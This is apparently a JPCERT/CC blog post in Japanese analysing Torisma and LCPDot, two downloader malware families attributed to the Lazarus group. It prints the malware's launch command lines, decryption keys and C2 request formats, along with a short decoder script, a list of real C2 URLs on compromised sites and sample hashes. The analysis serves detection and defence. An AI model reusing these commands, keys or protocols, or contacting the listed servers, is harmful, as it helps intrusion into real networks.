攻撃グループLazarusによる攻撃オペレーション
これまでJPCERT/CC Eyesでは、攻撃グループLazarus(Hidden Cobraとも言われる)が使用するマルウェアについて複数紹介しています。この攻撃グループは攻撃時にさまざまな種類のマルウェアを使用することが知られています。今回は、攻撃グループLazarusが攻撃時に使用するマルウェアを2つ(TorismaおよびLCPDot)紹介します。
Torismaの概要
Torismaは、外部からモジュールをダウンロードして実行するダウンローダータイプのマルウェアです。このマルウェアは、不正なWord文書を使用して感染を広げることが確認されています[1]。JPCERT/CCで確認しているTorismaは、DLLファイルでありrundll32.exeの引数として実行されます。以下は、Torismaが実行される際のコマンド引数の一例です。
"C:\Windows\System32\rundll32.exe" C:\ProgramData\USOShared\usosqlite3.dat,sqlite3_create_functionex mssqlite3_server_management jp-JP
Export関数(この例では、sqlite3_create_functionex)の後に、内部のデータをデコードするためのキー(mssqlite3_server_management)を引数として与えることで、このマルウェアは不審な挙動を示します。以降では、Torismaの設定情報、通信方式およびダウンロードするモジュールについて記載します。
Torismaの設定情報
Torismaは、通信先などの情報をファイルから読み込みます。以下は、Torismaの設定情報が保存されているファイルの保存先です(なお、設定情報ファイルを読み込まない検体も存在します)。
- %LOCALAPPDATA%.IdentityService\AccountStore.bak
設定情報ファイルの先頭には、12バイトのシグネチャ(0x98 0x11 0x1A 0x45 0x90 0x78 0xBA 0xF9 0x4E 0xD6 0x8F 0xEE)が存在し、その値が一致したファイルのみ、設定情報としてマルウェア実行時に読み込まれます。図1は設定情報の例です。
設定情報内には、通信先などの情報が含まれています(設定情報について、詳しくはAppendix Aをご覧ください)。
TorismaのC2サーバーとの通信
以下は、Torismaが初めに送信するHTTP POSTリクエストの例です。
POST /[PATH] HTTP/1.1 Content-Type: application/x-www-form-urlencoded Accept: */* Connection: Keep-Alive Content-Length: [Length] User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3) Host: [Server] Cache-Control: no-cache ACTION=VIEW&PAGE=[MAC Address]&CODE=[ランダムな数字]&CACHE=[Base64 データ]REQUEST=[ランダムな数字]
[Base64データ]には、通信先URLやMACアドレスなどが含まれています(送信するデータのフォーマットについて詳しくは、Appendix Bをご覧ください)。このHTTP POSTリクエストに対して、以下のレスポンスがサーバーから返信された場合、Torismaは次のリクエストを送信します。
Your request has been accepted. ClientID: {f9102bc8a7d81ef01ba}
次に送信するHTTP POSTリクエストは以下のとおりです。
POST /[PATH] HTTP/1.1 Content-Type: application/x-www-form-urlencoded Accept: */* Connection: Keep-Alive Content-Length: [Length] User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3) Host: [Server] Cache-Control: no-cache ACTION=PREVPAGE&CODE=C[ランダムな数字]&RES=[ランダムな数字]
このリクエストのレスポンスとしてサーバーからは、暗号化およびBase64エンコード("+"がスペースに変換されている)されたモジュールがダウンロードされます。Torismaは、暗号化にVEST-32[2]というアルゴリズムを使用しています。JPCERT/CCで確認した検体では、暗号化キーにはすべて”ff7172d9c888b7a88a7d77372112d772”が使用されていました(図2参照)。なお、この暗号化は設定情報に含まれる通信先情報の暗号化にも使用されています。
Torismaモジュール
Torismaは、追加のモジュールをダウンロードして実行することで、さまざまな動作を行うことが可能です。ダウンロードされるモジュールは、PEフォーマット形式ではなく、図3のような実行可能なコードです。
JPCERT/CCでは、攻撃時に複数のモジュールが使用されていることを確認しています。以下は、確認しているモジュールの機能です。
- 感染ホストの情報送信
- 特定ファイルの実行
LCPDotの概要
LCPDotも、Torismaと同様に外部からモジュールをダウンロードして実行するダウンローダータイプのマルウェアです。確認した検体の中には、VMProtectで難読化されたものもありました。このマルウェアは、Torisma感染後にネットワーク内部に感染を広げる際に使用されたと考えられます。JPCERT/CCで確認している検体は、以下のオプションを実行時に与えることで不審な挙動を示します。
- -p: RC4暗号化キー
- -s: Base64エンコードされた通信先
以下、オプションを指定して実行した際の例です。
"C:\Windows\System32\cmd.exe" /c C:\ProgramData\Adobe\Adobe.bin -p 0x53A4C60B
以降では、LCPDotの設定情報、通信方式について記載します。
LCPDot のC2サーバーとの通信
以下は、LCPDotが初めに送信するHTTP POSTリクエストの例です。
POST /[URL] HTTP/1.1 Accept: text/html Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Cookie: SESSID=[Base64 data] User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: [Host] Content-Length: [Size] Connection: Keep-Alive Cache-Control: no-cache Cookie=Enable&CookieV=[ランダムな数字列]&Cookie_Time=64
[Base64 data]には、“[ID]-101010"をエンコードした値が含まれています([ID]は、以降の通信でも同一の値が使用されます)。このHTTP POSTリクエストに対して、以下のレスポンスがサーバーから返信された場合、LCPDotは次のリクエストを送信します。
Authentication Success
次にLCPDotは、以下のHTTP GETリクエストを送信します。
GET /[URL] HTTP/1.1 Accept: text/html Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Cookie: SESSID=[Base64 data] User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: [Host] Content-Length: [Size] Connection: Keep-Alive Cache-Control: no-cache
[Base64 data]には、“[ID]-101011"をエンコードした値が含まれています。このレスポンスとして、RC4暗号化されたモジュールがダウンロードされます。暗号化キーは、検体内または実行時のオプション-pで指定した値をSHA1ハッシュ値に変換した値が使用されます。
今回、モジュールが入手できなかったため、モジュールの機能については不明ですが、モジュール実行後の通信では、送信データをGIF画像に偽装して送信する機能などがあることを確認しています(図4)。
LCPDotの設定情報
LCPDotは通信先情報を、検体内に保持しています(実行時のオプション-sで指定する場合もあり)。通信先情報は、XOR+Base64エンコードされています。以下は、エンコードされた通信先をデコードするPythonスクリプトの例です。
decoed_base64_data = base64.b64decode(encode_data) for i in decoed_base64_data: print chr(((ord(i) ^ 0x25) - 0x7a))
LCPDotは、この通信先を含む設定データをファイルに保存します。保存するファイルのファイルパスは複数のパターンがあることを確認しています。以下は、ファイルパスの例です。
- %TEMP%¥..¥Thumbnails.db
- %TEMP%¥..¥ntuser.log1
設定ファイルのデータは、RC4暗号化されており、暗号化キーは、検体内または実行時のオプション-pで指定した値をSHA1ハッシュ値に変換した値が使用されます。図5は、復号した設定データの例です。
おわりに
今回は、攻撃グループLazarusがネットワークへの侵入時および侵入後に使用するマルウェアについて紹介しましたが、これ以外にもさまざまなマルウェアが確認されています。新たなマルウェアが確認された際は、レポートしたいと思います。
なお、今回解説した検体の通信先に関しては、Appendix Cに記載していますので、アクセスしている端末がないかご確認ください。
インシデントレスポンスグループ 朝長 秀誠
参考情報
[1]McAfee: Operation North Star: Behind The Scenes
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/
[2]ECRYPT: VEST
https://www.ecrypt.eu.org/stream/vest.html
Appendix A:Torismaの設定情報
オフセット | 説明 | 備考 |
0x000 | シグネチャ | 0x98 0x11 0x1A 0x45 0x90 0x78 0xBA 0xF9 0x4E 0xD6 0x8F 0xEE |
0x00d | 時間 | |
0x011 | - | |
0x015 | ドライブチェック時間 | |
0x01D | スリープ時間 | |
0x021 | 通信先 * 6 | サイズ0x202 (VEST-32で暗号化) |
0xC2D | 通信先のサイズ * 6 | サイズ0x4 |
0xC45 | ディスクドライブフラグ | ディスクドライブ数をカウントするか |
0xC49 | WTSActiveフラグ | ログオンユーザー数をカウントするかどうか |
0xC4D | ID |
Appendix B:Torismaの送信データの内容
オフセット | 長さ | 内容 |
0x000 | 0x400 | URL |
0x400 | 0x18 | 感染ホストのMACアドレス |
0x418 | 0xC | ランダムな文字列 |
0x424 | 8 | ID |
0x434 | 4 | 数値 |
0x438 | 4 | "2" |
Appendix C:通信先
- https://www.commodore.com.tr/mobiquo/appExtt/notdefteri/writenote.php
- https://www.fabianiarte.com/newsletter/arte/view.asp
- https://www.scimpex.com/admin/assets/backup/requisition/requisition.php
- https://akramportal.org/public/voice/voice.php
- https://inovecommerce.com.br/public/pdf/view.php
- https://www.index-consulting.jp:443/eng/news/index.php
- http://kenpa.org/yokohama/main.php
- https://vega.mh-tec.jp:443/.well-known/index.php
- http://www.hirokawaunso.co.jp/wordpress/wp-includes/ID3/module.audio.mp4.php
- https://ja-fc.or.jp/shop/shopping.php
- https://www.leemble.com/5mai-lyon/public/webconf.php
- https://www.tronslog.com/public/appstore.php
- https://mail.clicktocareers.com/dev_clicktocareers/public/mailview.php
Appendix D:マルウェアのハッシュ値
Torisma
- 9ae9ed06a69baa24e3a539d9ce32c437a6bdc136ce4367b1cb603e728f4279d5
- f77a9875dbf1a1807082117d69bdbdd14eaa112996962f613de4204db34faba7
- 7762ba7ae989d47446da21cd04fd6fb92484dd07d078c7385ded459dedc726f9
LCPDot
- 0c69fd9be0cc9fadacff2c0bacf59dab6d935b02b5b8d2c9cb049e9545bb55ce
- a9334efa9f40a36e7dde7ef1fe3018b2410cd9de80d98cf4e3bb5dd7c78f7fde
- ba57f8fcb28b7d1085e2e5e24bf2a463f0fa4bbbeb3f634e5a122d0b8dbb53cc